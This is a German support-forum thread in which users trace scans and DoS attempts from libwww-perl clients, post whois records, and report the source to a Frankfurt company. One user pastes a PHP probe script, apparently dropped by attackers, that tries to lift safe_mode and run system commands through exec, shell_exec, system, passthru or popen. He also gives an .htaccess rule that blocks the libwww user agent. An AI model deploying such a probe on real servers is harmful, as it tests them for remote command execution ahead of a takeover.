xa-media.com | Support Forum

[aristoteles]

Hi,

der Kollege war gerade bei mir da ---> libwww-perl/5.808 Gast IP: 64.38.24.138 » Whois
Ist das für dich noch von Bedeutung Chris

LG Ari

[chris]

ja danke fürs melden. ist auch ein unnötiger zeitgenosse

[Markus Giersch]

inetnum: 84.136.0.0 - 84.191.255.255
netname: DTAG-DIAL20
descr: Deutsche Telekom AG
country: DE
admin-c: DTIP
tech-c: DTST
status: ASSIGNED PA
remarks: ******************************************************************
remarks: * Abuse Contact: http://www.t-com.de/ip-abuse in case of Spam, *
remarks: * Hack Attacks, Illegal Activity, Violation, Scans, Probes, etc. *
remarks: ******************************************************************
mnt-by: DTAG-NIC
source: RIPE # Filtered

auch dieser vogel hat meinen pc zum abkacken bekommen.
hallo, wann hören den diese DoS-Attacken endlich auf?

ich bin am verzweifeln - ich bin allerdings dankbar dafür, das dem forum dank chris seinem einsatz nichts passiert

[Markus Giersch]

und der nächste:

195.225.196.0 - 195.225.199.255
wieder Libwww-perl/5.808

diesemal haue ich denen aberauf die frese

Guiollettstrasse 48
60325 Frankfurt

morgen laufen wir dort ein - so ein pech aber auch das die den server gerade um die ecke von uns haben

[krazykrizz]

Sehr schön, geig den Jungs mal schön die Meinung und zieh den Stecker! Dank auch an Chris und die anderen fleißigen Support-Hände, die uns solche Halunken vom Hals halten.

Daumen hoch, Leute!

[Markus Giersch]

wobei, server zerstören ist keine gute idee,
ich glaube es reicht, wenn die wissen man weis bescheid.

da muss man anders vorgehen als mit server zerstörung.
letzendendes bauen die sich dann einfach woanders server auf.

ne anzeige muss her

[chris]

kann durchaus ein gehackter server sein. aber wenns ums eck ist gib denen einfach mal bescheid

[Markus Giersch]

tsja, die leute haben mich angeschaut wie ein auto.

erst wollten die einfach nur blocken und davon gar nichts wissen,
als ich gesagt habe das in 5 minuten die polizei vor der haustür stehen wird wenn die mir nicht zuhören - dann haben sie mir zugehört.
und ganz nebenbei ist denen auch noch die kinnlade runter gefallen.
die hätten das nicht für möglich gehalten.

jetzt können die 40 server zerlegen und durchsuchen

tsja, sollen froh sein das ich die nett angezeigt habe - und dafür sind die nun durchaus dankbar.
da sie selber gesehen habe, ups, das ist ja tatsächlich unsere IP...

also, das war ein bürogebäude in ffm nähe deutsche bank zentrale.
dort sind einige capitalfirmen, rechtsanwälte UND natürlich eine IT FIRMA...

mal schauen. zumindest hat jetzt der spuck schlagartig aufgehört bei mir

[Markus Giersch]

...XxX...

irgendwie wird man aus der sache nicht ganz schlau.
habe aber auch kein bock mehr mich darum zu kümmern.

ich kann nur dringenst empfehlen:
pc an, firewall an, router an, modem an.
und zwar genau in dieser reihenfolge

hier für Chris:

<?php
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
$contrs=0;
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
$contrs=0;}
else{
$contrs=1;
}}

if($contrs == 0){
echo("FUCKSAFEMODEOFFBYMIC22");
}else{
echo("FUCKSAFEMODEONBYMIC22");
}

function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

für gewöhnlich bauen die solche scripts über das forum in das forum rein.
sind ja 08/15 scripts... oder?

nd das sollte der code sein um die Libwww-perl kaspers wieder los zu werden

RewriteCond %{HTTP_USER_AGENT} ^libwww [OR]

das muss in die .htaccess von iphpbb - aber das wird chris bestimmt besser wissen als ich

[chris]

libwww hab ich mal so gesperrt, mal schaun obs hilft.

besteht irgendein verdacht dass das script eingeschleust wurde oder hast du das nur bei deinen recherchen nach libwww gefunden